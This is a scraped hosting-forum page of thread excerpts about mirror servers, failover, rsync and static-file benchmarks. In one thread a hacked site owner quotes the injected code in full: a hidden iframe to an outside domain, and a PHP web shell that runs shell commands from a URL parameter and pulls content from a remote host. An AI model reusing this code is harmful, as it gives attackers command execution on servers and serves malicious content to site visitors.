Mirror/Mirroring Site Hosting/aka: Impressed At Ability Of Cheap Hardware To Serve Static HTML
Nov 5, 2009
We recently began to mirror a large number of open source projects with a dedicated mirror server on our network and I was surprised not only with how popular the mirror server has become, is, but also of the ability of the hardware we're using to keep up with the load.
At an given time, the mirror seems to be pushing at least 50 Megabits of trafficthe server is also an IRC server (irc.igsobe.com) for customers and internal staff communications.
The hardware is a low end Dell Pentium 4 @ 2.66 GHZ server, running with 512MB of RAM and a 400 GB ATA hard drive. CentOS v5.3 is the operating system.
If you're interested, you can view the HTML logfile analysis here but that doesn't tell the full story as FTP users make up a good portion of the traffic. We've received over a quarter million hits in the first few days of November alone.
18:14:15 up 65 days, 9:04, 5 users, load average: 0.31, 0.69, 0.56
The only change that I made to the default configuration was lowering the maximum number of Apache servers to 128.
Just thought I'd share this information as I wouldn't have thought a server with such a small amount of RAM would be able to serve up so much data, even though we are talking strictly static HTML files.
I'll definitely keep this in mind when clients ask me for those "what type of dedicated server should I use for XXX" type discussions that are had all too often with clients.
View 0 Replies
ADVERTISEMENT
Aug 10, 2005
I currently have a mirror site set-up on a seperate server (with a seperate web hosting company) for risk management purposes.
For zero downtime dependability, a load balancer cluster checking both servers in real time, and directing traffic at only servers that were online has been suggested.
However this option is rather expensive. Does anyone know of any other options?
View 2 Replies
View Related
May 20, 2009
I was asked earlier today by one of the tech people at the university that I go to if I knew of any hosts that would offer some space/bw/access for a website that already exists. From what I was told, the host would not be the primary server for the website, so it would not require very much bandwidth, and the entirety of the website is only 300MB, so space isn't really an issue either (As most hosts now a days offer 1GB+). The catch is that they were planning on using rsync to update the mirror host, with the latest content from the live website, every 3 hours or so. Preferably, they want to spend as little money as possible on this and not buy a dedicated server or VPS somewhere, as that would be very costly.
So, does anyone here know of a host that would offer such a thing and allow SSH access to setup the rsync?
View 9 Replies
View Related
Jan 29, 2009
I'm having an issue with a client site and I am not sure what to do at this point. Conversations with the host (GoDaddy) haven't led to a solution and to be honest, I'm not sure it's their issue to handle although I will be firing off an email to their domain dispute department shortly. I spoke with a couple of supervisors there and they were as baffled as I am.
Here's the situation:
When people Google the name of the client's business, it returns their site but on a different domain. The entire site is there, nothing is changed but the URL. It's like having an unintentional mirror site except that none of the forms work which is what tipped off the users that something was wrong but of course, they don't notice that they're not actually on 'www.clientsite.com' so they think it's just a form error when in actuality, they're not even at the right domain.
There is really no way for this other domain to profit from mirroring the client's site; it's just a business profile type of thing with a few forms for contact, employment applications and vendor applications. No secure info is transmitted other than perhaps the occasional email address but we're not talking a heavy volume site, it's a niche market and really not something that would be a typical target. There's no eCommerce, no subscriptions, no financial info.
I'm at a total loss. Could this happen if this other site is hosted on the same server as my client's site? Could it be an actual error of some sort or would it have to be intentional?
The whois for this bogus site leads to DomainsbyProxy.com and I'll be sending them a letter as well but I'd really appreciate any input you all might have on HOW this could happen. Should I also contact Google?
View 5 Replies
View Related
Apr 14, 2008
2 servers in 2 different continent. One will be primary and the other is redundant. It will be controlled by DNS fail over service.
Question:
1. What is the things that i need to consider before setting it up?
2. What is the best way to sync the data and databases?
View 2 Replies
View Related
Feb 24, 2009
I was wondering if anyone knows of any provider that provides RAID VPS Mirrored Hosting.
So if one drive goes down, the site will immediately switch over to the next one in the cluster.
View 14 Replies
View Related
Oct 7, 2009
I'm configuring an VPS that's going to serve all static stuff and absolutely no dynamic scripts at all.
What could be the bottle necks with all these static content websites? Can a 256MB VPS handle a static website receiving millions of page views a month?
View 1 Replies
View Related
Jun 17, 2009
how to setup Nginx webserver on a cpanel server to serve static contents,
say /images folder from every domains hosted on the server so that Apache's load will decrease?
View 12 Replies
View Related
Jan 29, 2009
A great insight to alot of my research and thank you in advance for any advice given.
I have a server based in HK(with WHMCS) and host several websites. The speed and availability serves the Asia Pacific market/viewers well; but we have several new websites that also targets the European and North American viewers.
I have been researching on getting a dedicated server based in US to mirror our server. Therefore allowing the US/European market to access the website faster. Although we have a few problems (and very little budget to solve it too ;p)
1. We need to sync the two servers in real time ; rsync seems to be the best but is there any other reccomendations?
2. We will make the IP address in each servers the same, so our clients need not change their dns. Do we need IPcast/anycast?
3. Is there anything else that I may have oversight?
View 4 Replies
View Related
Oct 29, 2007
My company requires a Mirrored Server setup. I hope someone can direct me to the right solution which guarantees the least downtime.
- We have 20+ php/mysql websites.
- We need two dedicated servers hosted in 2 different datacentres.
- Users are directed to the first server.
- If the first server is down the users are automatically directed to the 2nd server @ the 2nd datacentre.
- The software/hardware which redirects the users need to be fail proof or have an instant backup which takes over incase that goes down too.
- Data (databases and files) needs to be synced correctly to avoid data not being mirrored correctly.
I've done some reading and there is alot of mention of the DNS round and load balancers.
However, it seems these two options are also not fail proof.
Would appreciate if someone could simply outlining what system would be best for us for 100% uptime incase of server failure.
View 3 Replies
View Related
Dec 18, 2005
i am new to this and am in need of some help.. i have vbulletin 3.5.0 installed with photopost gallery and phpprobid auction...
I am hosted with fasthosts on a linux dedicated server, it is crap! it has been down 3 times in 1 month, the support is terrrible.. I have already movedit from pipex hosting due to lack of support for mysql. i canot keep moving my site, my brain will melt out of my ears ...
Can i link to my original install.. so if the fasthost server goes down,, could i have it directed to the old server? and can i keep the 2 databases current?
Hope i have explained it well enough... basically need a backup server setup for my vbulletin so, i dont lose potential new members..
View 9 Replies
View Related
Jan 10, 2008
I have a DB server, running mysql 64bit. I would like to add another server to the mix to build some kind of redundancy if the 1st one were to go down.
View 7 Replies
View Related
Sep 12, 2007
I have two dedicated servers on two different countries. My idea is having one of them fully active and the other as a backup server so that in case the first crashes or something I only have to redirect the domains to the second server.
Can you help me on how this can be done?
View 3 Replies
View Related
Dec 20, 2005
There are some Download Manager Programs that have a option like Find alternate URLs through mirror list file when giving a file for downloading. Where can I insert such a file in my site so that download programs can add other mirrors to it from my list of mirrors?
View 0 Replies
View Related
Mar 28, 2009
Does anyone run a setup where 2 or more cPanel servers (perhaps in a shared hosting environment) are dynamically mirrored for high availability?
How have you configured this? Does cPanel play nicely?
View 14 Replies
View Related
Nov 16, 2006
We are expanding our photo sharing business and are revising our Unix-based server architecture. We're looking to develop a standard server configuration so that we can easily add servers when necessary.
Our ISP has recommended a configuration with mirrored web servers and mirrored RAID5 NAS boxes. I've read about Google's server architecture which consists of identical mirrored servers; when a drive or part from one of those servers goes down, data is served from the mirrored servers and the bad machine is repaired or replaced.
Comparing the two architectures with similar storage sizes, the overall cost of the hardware itself is about the same, with the identical mirrored machines being slightly cheaper. The monthly co-location fees (rack, power, etc.) are higher for the NAS solution.
I'm interested to hear your thoughts and experiences with similar solutions. I know the web/NAS solution is popular, and it's probably the one we'll go with, initially at least. Has anyone here implemented a Google-like identical mirrored server solution?
View 14 Replies
View Related
Dec 17, 2008
Keeping mirrored backups...anything better than rsync?
I'm keeping mirrored backups of my servers. Does anyone know of any solution better than rsync to update the files on the backup server?
I've noticed that when running rsync it can cause a lot of disk i/o, which can slow down a running server.
Does anyone have any suggestions on how to decrease disk i/o or another solution to keeping mirrored backups on a secondary server?
View 13 Replies
View Related
Mar 19, 2008
I am trying to find a piece of software that will allow me to mirror the online files of my companies domain. There are a number of contributers to the domain, so files are not stored offline in one location. I want to create an exact mirror of the contents that perhaps I schedule to mirror once every week.
I cant seem to find anything that would allow me to do this.... can anyone point me in the right direction?
View 5 Replies
View Related
Jul 7, 2009
I have a LAMP server running and would like to have the exact mirror running on another location. I would like to sync the web files and database in either real time (upon any update) or in delayed mode (x minutes after the update).
For MySQL, I believe replication can do the job unless anybody has better recommendation. What would you guys suggest for web files? Can I use different Linux flavor but maintain back the same LAMP version?
Is there any "online" 3rd party load balancing service that I could use to load balance the traffic to both servers?
View 14 Replies
View Related
Apr 2, 2009
On a CentOS5 VPS I have access to "yum update" barely working due to the base mirror "styx.biochem.wfubmc.edu" being tremendously slow.
I'm trying to find out how to disable that mirror possibly via a mirror exclude setting in yum.conf or some other way. I've been searching but I've not found any documentation on this so hopefully somebody out there will know how to make this change.
View 5 Replies
View Related
Jan 8, 2007
We damaged a file on a windows server 2003 system which caused us to get a grey screen where the login windows should be (it was setup as a domain controller)
We tried booting it in safe mode and all the other modes etc etc.... but to no avail... we couldn't get it to work.
So we wanted to replace the file manually using another pc (by inserting one of the harddrives into the pc, and copying the file to it).
We used a windows XP machine.... imported the harddrive using disk management..... we had to un mirror the drive to be able to access it.
Once the mirror was broken i gave it a drive letter, copied the the new file to it, and, removed the drive letter i assigned it, and tried booting with *just* that drive in the windows 2003 server.
Now it wont boot, it just reboots everytime i tries to start up, probably because we broke the mirror on a different machine.
It still boots from the other untouched drive... that was in the mirror, but we have no way to edit the files on there.
So is there any way to actually get this, once mirrored drive, to boot now its a single disc?
View 9 Replies
View Related
Mar 10, 2005
If you receive the following errors while trying to install a Perl Module through the WHM ...
View 1 Replies
View Related
Mar 21, 2007
this isn't my server, so I don't have a lot of information about it, other than it's a Linux/Apache Dedicated server at EV1. (cPanel/WHM)
There are other sites on the server, and they are running fine.
One site has a terrible lag. It takes about 10 seconds to serve up a static HTML file..
Now, it's not like the server is slow. It's like this: You request a small HTML file. The site sits and thinks about it for about 10 seconds, and then after that everything processes quickly.
The forum on the site is the same way. Everything you click on works fine and loads quickly after that initial delay passes.
Is there a common configuration problem that might be causing this?
If you want to see this phenomenon, here are a few test files:
[url]
[url]
[url]
[url]
View 7 Replies
View Related
Oct 21, 2008
I've been running website for several years, however, there's one thing that I've never quite figured, most likely because I haven't gone over to dedicated/vps yet.
How much memory would a static 10kb HTML use or for that matter a PHP page (static)?
I know it's quite a broad question, but I'm asking this as I might start a project and this one page may receive many hits. Oh and, would the memory usage go up if I have embedded objects from an outside source (e.g. embedded Youtube videos)?
View 6 Replies
View Related
Dec 8, 2008
Cheap Hosting for Wordpress MU site
I have recently bought a domain for blgos for designers and was wondering what hosting would be best to start of with and which compan to go with.
Shall I start with shared hosting then move to a VPS when needed?
Which company shall I go with?
Are Slicehost good?
Because I have just bought the domain, I won't need alot of bandwidth and space, but I will need to be able to upgrade quickly and easily. Oh, and cheaply.
I will put some advertising on the site so I will get a bit of money from that, but I want it to be cheap as I don't have much money at the moment. I might also have a 'Premium' members part where people get extra disc space, etc. So I will also get money from that to go towards the hosting, domain registration, etc.
View 11 Replies
View Related
Mar 29, 2009
Attached is a (badly) drawn diagram of two sites, connected by a vpn.
The site to the left, is network 10.0.0.0/24 which runs a linux server as the router for the network.
The site to the right, is network 10.1.0.0/24 which runs a windows 2003 server as the router for the network.
Now, my problem is, the clients behind the windows 2003 server can ping any machine on the first network because i setup a static route to route all traffic to 10.0.0.0/24 over the vpn interface.
now, my problem is, only the linux server can ping any machine on the windows 2003 network, any client behind the linux server cant seem to route over the interface.
I have the following route on the linux server: .....
View 0 Replies
View Related
Mar 31, 2009
Apache includes a handy little program called ab
You can use this to measure how long it takes a web site to deliver a page n times
I wonder if people would like to state how fast their sites using shared web hosting can deliver simple pages, one in HTML and one in PHP (people can add other scripting languages if they wish.
Please don't post the site name or host name, just the results; I'd be interested in seeing what the range of results is, without getting into debates about hosting sites.
Here are two web pages
hello.html:
<html>
<body>
<h1>Hello, world</h1>
</body>
</html>
hello.php:
<html>
<body>
<?php
echo "<h1>Hello, php world</h1>";
?>
</body>
</html>
Here are the test commands; note I set the concurrency level to 1 ("-c 1"), which gives a more realistic measure of the user response time for low-traffic sites.
html: ab -k -c 1 -n 50 [url]
php: ab -k -c 1 -n 50 [url]
And here are my results:
************** html:
Server Software: Apache/1.3.37
Concurrency Level: 1
Time taken for tests: 6.196 seconds
Requests per second: 8.07 [#/sec] (mean)
Time per request: 123.929 [ms] (mean)
Time per request: 123.929 [ms] (mean, across all concurrent requests)
Transfer rate: 3.36 [Kbytes/sec] received
************** php:
Server Software: Apache/1.3.37
Concurrency Level: 1
Time taken for tests: 15.859 seconds
Requests per second: 3.15 [#/sec] (mean)
Time per request: 317.190 [ms] (mean)
Time per request: 317.190 [ms] (mean, across all concurrent requests)
Transfer rate: 0.93 [Kbytes/sec] received
View 4 Replies
View Related
Sep 8, 2007
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
View 5 Replies
View Related
Sep 28, 2008
I'm looking for a method to basically clone my plesk site to another hosting provider also running plesk, the idea is so if my site A is down, I can just re-point the dns entry to Site B, and minimize downtime.
It makes sense to me to pay 2x hosting costs so I can have a site mirrored in case the main site goes offline, then I can just switch the dns to the new host. The trick is how can I automatically keep Site B mirrored as part of site A. Using Plesk Backup doesn't seem practical as it's not automatic. Does Cpanel have a site mirroring feature?
Would something like rsync work? Doesn't this require shell access? I'm looking for best practices to be able to mirror Site A to Site B in an automatic method..
View 7 Replies
View Related
Dec 19, 2008
Mirror a site running server 2003 web services
I'm a network admin at a university and one of the departments is hosting their site on their own personal server running Server 2003 and Windows Web services. They've been asking me how would they go about mirroring their site in the event of a power loss intentional or otherwise. There are times during holiday periods where building maintenance will shut off power but they still want students to be able to get to their site. So they want to set up a mirror on another server in an office offsite.
I've done some research on the subject but I haven't been able to find anything dealing with mirroring Microsoft hosted sites.
View 4 Replies
View Related
Oct 14, 2008
namely, budget prices on servers. in particular unmetered bandwidth.
steadfast and hivelocity are the two I know of, but I'm wondering if I'm missing any.
View 8 Replies
View Related
